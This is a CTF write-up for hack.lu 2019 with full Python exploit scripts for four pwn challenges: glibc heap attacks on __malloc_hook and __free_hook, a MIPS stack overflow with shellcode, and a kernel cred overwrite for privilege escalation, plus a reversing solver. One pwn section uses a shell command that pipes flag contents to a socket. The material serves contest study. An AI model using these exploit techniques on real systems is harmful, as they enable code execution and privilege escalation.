I played hack.lu CTF 2019 in zer0pts
.
Although I couldn't play it full-time as it was in weekdays, I managed to solve some challenges after school.
We got 1709 points and reached 27th place.
It was a fun CTF and I enjoyed it. Thank you for hosting the CTF. I hope it'll be held in weedend next year.
- [pwn 381pts] TCalc
- [pwn 215pts] No Risc, No Future
- [pwn 202pts] Baby Kernel 2
- [pwn 434pts] Schnurtelefon
- [rev 197pts] VsiMple
Here is the tasks and solvers for some challenges I solved.
[pwn 381pts] TCalc
We're given a 64-bit ELF and its source code.
$ checksec -f chall RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE Partial RELRO Canary found NX enabled PIE enabled No RPATH No RUNPATH 79 Symbols Yes 0 2 chall
It's a heap challenge of calloc
which is just an average calculator and there seemed to be no vulnerability at first glance.
However, I found the binary doesn't check index bound even though the source code has.
I don't know why this is happening. Maybe optimization problem?
[Added] The challenge author told me the trick. You can see the following index check in the given C code.
(0 <= idx < ARR_LEN)
This is recognized like this:
(0 <= idx) < ARR_LEN
Since (0 <= idx)
must be 0 or 1, this is equivalent to one of the following two statement:
(0) < ARR_LEN (1) < ARR_LEN
which is always true!!
Thus, we have OOB vulnerability and the array is located on the heap. So, we can see any addresses on the heap as a pointer to a number array. The problem is the first element of the array is used as its size. Since tcache doesn't link to the chunk head but the data region, any freed chunk won't point to an appropriate array whose size is proper.
However, any chunks after freeing 7 chunks will be linked into fastbin and it'll never use tcache because of calloc
.
Fastbin fd points to the chunk head and we can prepare a proper size there because it's data region of the previous chunk.
We can leak heap address and libc address in this way by calculating average.
After that is simple.
As we have OOB, we can do a simple fastbin attack to overwrite __malloc_hook
.
However, any of the one gadgets didn't work and I decided to use system
function.
Since we can specify any size for the array, we can set rdi
to an arbitrary address aligned by 8.
There possibly exists a string sh
which is located at such an address in libc.
from ptrlib import * def new(cnt, nums): sock.sendlineafter(">", "1") sock.sendlineafter(">", str(cnt)) for num in nums: sock.sendline(str(num)) return def show(index): sock.sendlineafter(">", "2") sock.sendlineafter(">", str(index)) sock.recvuntil(": ") return float(sock.recvline()) def delete(index): sock.sendlineafter(">", "3") sock.sendlineafter(">", str(index)) return """ libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so") libc_main_arena = 0x3ebc40 sock = Process("./chall") one_gadget = [0x10a38c, 0x4f322, 0x4f2c5][1] """ libc = ELF("./libc.so.6") libc_main_arena = 0x1c09e0 sock = Socket("tcalc.forfuture.fluxfingers.net", 1337) one_gadget = [0xeafab, 0xcd3b0, 0xcd3ad, 0xcd3aa][1] #""" for addr in libc.find("sh\x00"): if addr % 8 == 0: libc_binsh = addr break else: logger.warn("'sh' not found") exit() offset_tcache = (0x555555559010 - 0x555555559260) // 8 offset_eostdi = (0x55555555a2d0 - 0x555555559260) // 8 # leak heap base for i in range(7): new(2, [0, 0]) # 0 delete(0) logger.info("tcache is full") new(2, [0, 2]) # 0 new(2, [0, 0]) # 1 new(2, [0, 0]) # 2 new(0x420 // 8, [0 for i in range(0x420 // 8)]) # 3 new(2, [0x71, 0]) # 4 new(0x60 // 8, [0x21 for i in range(0x60 // 8)]) # 5 for i in range(7): new(0x60 // 8, [0x21 for i in range(0x60 // 8)]) # 6 delete(6) new(4, [1, 2, 3, 4]) # 6 for i in range(3): delete(i) heap_base = int((show(offset_eostdi + 4 * 9) * 2 - 0x21) - 0x13a0) logger.info("heap base = " + hex(heap_base)) # leak libc base delete(3) new(2, [heap_base + 0x1400, 2]) # 0 libc_base = int(show(offset_eostdi + 4 * 9 + 1) * 2 - 0x431) - libc_main_arena - 96 logger.info("libc base = " + hex(libc_base)) # fastbin corruption attack delete(5) delete(0) new(2, [heap_base + 0x1850, 0]) # 0 delete(offset_eostdi + 4 * 9 + 1) new(12, [0x71, libc_base + libc.symbol("__malloc_hook") - 0x23] + [0]*10) new(12, [0]*12) #target = libc_base + one_gadget target = libc_base + libc.symbol("system") x = (target << (3*8)) & ((1 << 64) - 1) if x >> 63: x = -((((1 << 64) - 1) ^ x) + 1) new(12, [0, x, target >> (8*5)] + [0]*9) logger.info("__malloc_hook done") # get the shell! sock.sendlineafter(">", "1") sock.sendlineafter(">", str((libc_base + libc_binsh) // 8 - 1)) sock.interactive()
First blood!
$ python solve.py [+] __init__: Successfully connected to tcalc.forfuture.fluxfingers.net:1337 [+] <module>: tcache is full [+] <module>: heap base = 0x55aa94bc0040 [+] <module>: libc base = 0x7f287a6ee000 [+] <module>: __malloc_hook done [ptrlib]$ cat flag.txt [ptrlib]$ flag{easy_f0r_thee:_arb1trary_fre3}
[pwn 215pts] No Risc, No Future
It's a 32-bit ELF for MIPS architecture.
$ checksec -f no_risc_no_future RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE Partial RELRO Canary found NX disabled No PIE No RPATH No RUNPATH 1672 Symbols Yes 0 39 no_risc_no_future
I've never tried MIPS exploit but it's quite simple. The binary has a simple stack overflow and PIE and DEP is disabled. Be noticed it's little endian and we have to prepare a shellcode for it.
from ptrlib import * elf = ELF("./no_risc_no_future") sock = Socket("noriscnofuture.forfuture.fluxfingers.net", 1338) got_read = 0x00490394 got_puts = 0x00490398 rop_popper = 0x400f24 rop_csu_init = 0x400f04 shellcode = b"bi\t<//)5\xf4\xff\xa9\xafsh\t<n/)5\xf8\xff\xa9\xaf\xfc\xff\xa0\xaf\xf4\xff\xbd' \xa0\x03\xfc\xff\xa0\xaf\xfc\xff\xbd'\xff\xff\x06(\xfc\xff\xa6\xaf\xfc\xff\xbd# 0\xa0\x03sh\t4\xfc\xff\xa9\xaf\xfc\xff\xbd'\xff\xff\x05(\xfc\xff\xa5\xaf\xfc\xff\xbd#\xfb\xff\x19$'( \x03 (\xbd\x00\xfc\xff\xa5\xaf\xfc\xff\xbd# (\xa0\x03\xab\x0f\x024\x0c\x01\x01\x01" print(disasm(shellcode, arch="mips", endian='big', returns=str)) # leak canary sock.send("A" * 0x41) canary = b'\x00' + sock.recvline()[-3:] logger.info(b"canary = " + canary) # rop for i in range(8): sock.send("A" * 0x41) sock.recvline() payload = b'A' * 0x40 payload += canary payload += p32(0xdeadbeef) payload += p32(rop_popper) payload += flat([ b'A' * 0x1c, p32(got_read), # s0 p32(0), # s1 p32(0), # s2 = a0 p32(elf.section(".bss") + 0x100), # s3 = a1 p32(0x200), # s4 = a2 p32(1), # s5 p32(rop_csu_init), # ra ]) payload += b'A' * 0x34 payload += p32(elf.section(".bss") + 0x100) assert len(payload) < 0x100 sock.send(payload) sock.recvline() import time time.sleep(1) sock.send(shellcode) sock.interactive()
Good.
$ python solve.py [+] __init__: Successfully connected to noriscnofuture.forfuture.fluxfingers.net:1338 0: lui $t1, 0x6962 4: ori $t1, $t1, 0x2f2f 8: sw $t1, -0xc($sp) c: lui $t1, 0x6873 10: ori $t1, $t1, 0x2f6e 14: sw $t1, -8($sp) 18: sw $zero, -4($sp) 1c: addiu $sp, $sp, -0xc 20: add $a0, $sp, $zero 24: sw $zero, -4($sp) 28: addiu $sp, $sp, -4 2c: slti $a2, $zero, -1 30: sw $a2, -4($sp) 34: addi $sp, $sp, -4 38: add $a2, $sp, $zero 3c: ori $t1, $zero, 0x6873 40: sw $t1, -4($sp) 44: addiu $sp, $sp, -4 48: slti $a1, $zero, -1 4c: sw $a1, -4($sp) 50: addi $sp, $sp, -4 54: addiu $t9, $zero, -5 58: not $a1, $t9 5c: add $a1, $a1, $sp 60: sw $a1, -4($sp) 64: addi $sp, $sp, -4 68: add $a1, $sp, $zero 6c: ori $v0, $zero, 0xfab 70: syscall 0x40404 [+] <module>: b'canary = \x00n\xea\xd2' [ptrlib]$ cat flag flag{indeed_there_will_be_no_future_without_risc}
[pwn 202pts] Baby Kernel 2
It's a kernel challenge and the module is simple. It has function to read/write from/to arbitrary addresses. So, we just need to find and overwrite uid (fsuid?) to null for cred.
from ptrlib import * def read(address): sock.sendlineafter("> ", "1") sock.sendlineafter(">", hex(address)[2:]) sock.recvuntil(": ") return int(sock.recvline(), 16) def write(address, value): sock.sendlineafter("> ", "2") sock.sendlineafter(">", hex(address)[2:]) sock.sendlineafter(">", hex(value)[2:]) return #sock = Socket("localhost", 1234) sock = Socket("babykernel2.forfuture.fluxfingers.net", 1337) sock.recvuntil("-\r") symbol_init_cred = 0xffffffff8183f4c0 symbol_current_task = 0xffffffff8183a040 addr_current_task = read(symbol_current_task) logger.info("current_task = " + hex(addr_current_task)) addr_cred = read(addr_current_task + 0x400) logger.info("cred = " + hex(addr_cred)) for i in range(1, 9): write(addr_cred + i*8, 0) sock.interactive()
It took a while to solve this challenge as I've never done kernel challenge before :P
$ python solve.py [+] __init__: Successfully connected to babykernel2.forfuture.fluxfingers.net:1337 [+] <module>: current_task = 0xffff888003370000 [+] <module>: cred = 0xffff88800338f480 [ptrlib]$ 0 Thanks, boss. I can't believe we're doing this! flux_baby_2 ioctl nr 902 called Amazingly, we're back again. ----- Menu ----- 1. Read 2. Write 3. Show me my uid 4. Read file 5. Any hintz? 6. Bye! > 4 [ptrlib]$ 4 Which file are we trying to read? > /flag [ptrlib]$ /flag Here are your 0x35 bytes contents: flag{nicely_done_this_is_how_a_privesc_can_also_go}}
[pwn 434pts] Schnurtelefon
We're given a client and storage binary.
$ checksec -f client RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE Partial RELRO Canary found NX enabled PIE enabled No RPATH No RUNPATH 85 Symbols Yes 0 12 client $ checksec -f storage RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE Partial RELRO Canary found NX enabled PIE enabled No RPATH No RUNPATH 87 Symbols Yes 0 12 storage
The storage binary has a simple double free vulnerability as it doesn't write null after freeing a chunk but the client handles this properly. As we have access to the client, we need to control the server over the client.
The server has one more vulnerability. When the chunks are full, it allocates a new chunk and put it as the 17th element. The client also has this vulnerability. In the client the 17th element overlaps with name and we can edit the name. The client's second vulnerability is a simple OOB. So, we can still double free in the server by editing the least byte of name and delete 17th element.
By using this primitive, leaking heap and libc addresses is not that hard.
The problem is how to leak data over the socket.
Even if we can get the shell on the storage, we need to send the result back to the client and then to our computer.
I tried several network ways such as nc
, wget
, curl
, ping
and /dev/tcp
but none of them worked.
We need to write the result to the socket in the format that the client can understand.
After freeing a chunk, the client gets the result over the socket and checks if the consecutive 2 byes starting from the offset 0x10 equals to OK
.
If we can write this "result" packets, we can leak anything using "get note" as it won't check the result anymore.
I'd been stuck here for hours and finally found the fd for the socket is 7.
We need to prepare a large chunk which has our bash script.
My bash script prints the proper "result" packets and then just cat flag
. (I found the file name after trying ls
in the same way.)
from ptrlib import * import os remote = True if remote: fd = 7 else: fd = 4 # leak latter of the flag cmd = "printf %16sOK%60s 1 2 3 $(cat flag)$(cat flag)$(cat flag)$(cat flag)>&{}\x00".format(fd) # leak former of the flag cmd = "printf %16sOK%46s 1 2 3 $(cat flag)$(cat flag)$(cat flag)$(cat flag)>&{}\x00".format(fd) assert 0x30 < len(cmd) <= 0x50 def add(data): sock.sendlineafter("exit\n", "1") sock.sendafter("?\n", data) return def delete(index): sock.sendlineafter("exit\n", "2") sock.sendafter("?\n", str(index)) return def get(index): sock.sendlineafter("exit\n", "3") sock.sendlineafter("?\n", str(index)) return sock.recvline() def rename(name): sock.sendlineafter("exit\n", "4") sock.sendafter("?\n", name) return libc = ELF("./libc-2.27.so") libc_main_arena = 0x3ebc40 if not remote: if os.path.exists("/tmp/socket1"): os.unlink("/tmp/socket1") server = Process(["./storage", "1"]) sock = Process(["stdbuf", "-i0", "-o0", "./client", "1"]) else: sock = Socket("schnurtelefon.forfuture.fluxfingers.net", 1337) # name sock.sendafter("?\n", "\xff" * 8) # fill storage for i in range(17): if i == 1: add(cmd[:0x20]) elif i == 2 and len(cmd) > 0x40: add(cmd[0x30:]) else: add("A" * 0x20) logger.info("storage: OK") # prepare fake chunks for i in range(8): add(p64(0) + p64(0x31)) logger.info("fake chunks: OK") # heap leak rename(b'\xc0') delete(15) delete(16) add("A") # 15 add("B") # 16 delete(14) delete(15) heap_base = u64(get(16)[:8]) - 0x590 logger.info("heap base = " + hex(heap_base)) # libc leak rename(p64(heap_base + 0x2f0)) delete(16) add("Hello") # 14 rename(p64(heap_base + 0x5c0)) delete(16) add(p64(heap_base + 0x2e0)) # 15 add("dummy") add(p64(0) + p64(0x431)) # 16 delete(0) libc_base = u64(get(14)[:8]) - libc_main_arena - 96 logger.info("libc base = " + hex(libc_base)) # prepare shell string rename(p64(heap_base + 0x5c0)) delete(16) rename(p64(heap_base + 0x5c0)) delete(16) rename(p64(heap_base + 0x5c0)) delete(16) add(p64(heap_base + 0x340)) # 0 add("dummy") # 16 add(cmd[0x20:0x40]) # 16 logger.info("shell script: OK") # tcache poisoning rename(p64(heap_base + 0x5c0)) delete(16) rename(p64(heap_base + 0x5c0)) delete(16) add(p64(libc_base + libc.symbol("__free_hook"))) # 16 add("dummy123") # 16 add(p64(libc_base + libc.symbol("system"))) # 16 # run! logger.info("running script......") rename(p64(heap_base + 0x320)) delete(16) print(get(0)) print(get(0)) print(get(0)) print(get(0)) print(get(0)) print(get(0)) print(get(0)) print(get(0)) if remote: sock.interactive() else: sock.interactive() server.close()
Perfect!
$ python solve.py [+] __init__: Successfully connected to schnurtelefon.forfuture.fluxfingers.net:1337 [+] <module>: storage: OK [+] <module>: fake chunks: OK [+] <module>: heap base = 0x55e661bf9000 [+] <module>: libc base = 0x7fddf3d79000 [+] <module>: shell script: OK [+] <module>: running script...... b' 3OKflag{i_swear_t1: store note' b'heap_challenge}flag{i_swear_this1: store note' b'p_challenge}flag{i_swear_this_is1: store note' b'hallenge}flag{i_swear_this_is_th1: store note' b'lenge}\xc2\x00\x00\x00\x00\x00\x00\x00\xe8h\x16\xf4\xdd\x7f\x00\x00OK\x00\x00\x00\x00\x00\x00\x00\x001: store note' $ python solve.py [+] __init__: Successfully connected to schnurtelefon.forfuture.fluxfingers.net:1337 [+] <module>: storage: OK [+] <module>: fake chunks: OK [+] <module>: heap base = 0x56526c473000 [+] <module>: libc base = 0x7faa2e609000 [+] <module>: shell script: OK [+] <module>: running script...... b' 2 3OK1: store note' b's_is_the_last_heap_challenge}fla1: store note' b's_the_last_heap_challenge}flag{i1: store note' b'he_last_heap_challenge}flag{i_sw1: store note'
[rev 197pts] VsiMple
It's a 64-bit PE. The binary constructs a vtable in the main function and check our input by using the function table.
The above screenshot shows the check function. It fails when the return value is 2. There are 3 types of functions in the vtable.
Comparator:
Store:
Xor:
It seems to be checking flag[i] ^ key[i] == answer[i]
byte by byte.
I wrote a simple decoder in Python.
with open("VsiMple.exe", "rb") as f: f.seek(0x22248) buf = f.read(0x100) flag = "" ofs = 0 for i in range(0x2a): a = buf[ofs] b = buf[ofs + 2] ofs += 6 flag += chr(a ^ b) print(flag)
$ python solve.py flag{br34k1ng_th3_s1mul4t1on_m4tr1x_style}